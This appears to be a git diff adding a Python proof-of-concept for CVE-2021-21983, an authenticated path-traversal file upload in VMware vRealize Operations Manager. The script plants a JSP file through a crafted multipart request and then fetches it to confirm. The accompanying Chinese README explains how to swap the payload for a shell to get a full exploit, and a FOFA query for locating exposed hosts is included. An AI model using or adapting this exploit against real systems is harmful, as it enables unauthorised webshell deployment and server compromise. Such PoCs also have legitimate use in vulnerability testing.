||||
|
||||
此poc需要传入认证信息,格式为user:password格式的base64编码,详情见CVE-2021-21975漏洞获取的认证信息。
|
||||
|
||||
更改content中的poc部分为shell,即可实现exp。exp的时候,记得先更改一下脚本中的判断部分,详见脚本中的注释提示。
|
||||
|
||||
55
Moudle/VRealize/CVE_2021_21983.py
Normal file
@@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import io
|
||||
from Config.config_requests import ua
|
||||
import requests.packages.urllib3
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CVE-2021-21983'
|
||||
AUTHOR="境心"
|
||||
REMARK='VMware vRealize 认证后任意文件上传漏洞'
|
||||
FOFA_RULE='app="vmware-vRealize-Operations-Manager"'
|
||||
######################################################
|
||||
|
||||
def poc_content(filename1):
|
||||
content = """------WebKitFormBoundarypyfBh1YB4pV8McGB\r\nContent-Disposition: form-data; name="name"\r\n\r\n../../../../../usr/lib/vmware-casa/casa-webapp/webapps/casa/{0}\r\n------WebKitFormBoundarypyfBh1YB4pV8McGB\r\nContent-Disposition: form-data; name="file"; filename=""\r\nContent-Type: image/jpeg\r\n\r\n<%@ page contentType="text/html;charset=UTF-8" language="java" %>\r\n<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");\r\n%>\r\n------WebKitFormBoundarypyfBh1YB4pV8McGB--""".format(filename1)
|
||||
mem_string = io.StringIO()
|
||||
mem_string.write(content)
|
||||
mem_string.seek(0)
|
||||
return mem_string
|
||||
|
||||
def poc(target,exp=None):
|
||||
if exp:
|
||||
result = {}
|
||||
url = target + "/casa/private/config/slice/ha/certificate"
|
||||
headers = {
|
||||
"User-Agent" : ua,
|
||||
"Content-Type" : "multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB",
|
||||
"Authorization" : "Basic %s" % exp
|
||||
}
|
||||
filename1 = "abctestabc.jsp"
|
||||
mem_string = poc_content(filename1)
|
||||
res = requests.post(url, headers=headers, data=mem_string.read(), verify=False, timeout=5)
|
||||
if res.status_code == 200:
|
||||
poc_url = target + "/casa/%s" %filename1
|
||||
poc_res = requests.get(poc_url, headers=headers, verify=False, timeout=5)
|
||||
if "this is a friendly test, Please check and repair upload vulnerabilities." in poc_res.text:
|
||||
# if poc_res.status_code == 200: # exp的时候作为判断使用,注释掉上面一句判断,并取消这个注释
|
||||
result['poc'] = NAME
|
||||
result['poc_url'] = poc_url
|
||||
result['message'] = "存在%s" % REMARK
|
||||
# print(result)
|
||||
return result
|
||||
else:
|
||||
return "认证信息为空,请先获取并传入认证信息"
|
||||
|
||||
if __name__ == '__main__':
|
||||
# poc调用
|
||||
poc("https://127.0.0.1/","YWRtaW46QWRtaW5AMTIz")
|
||||
BIN
Moudle/VRealize/images/1.png
Normal file
|
After Width: | Height: | Size: 53 KiB |
BIN
Moudle/VRealize/images/10.png
Normal file
|
After Width: | Height: | Size: 159 KiB |
BIN
Moudle/VRealize/images/11.png
Normal file
|
After Width: | Height: | Size: 36 KiB |
BIN
Moudle/VRealize/images/2.png
Normal file
|
After Width: | Height: | Size: 62 KiB |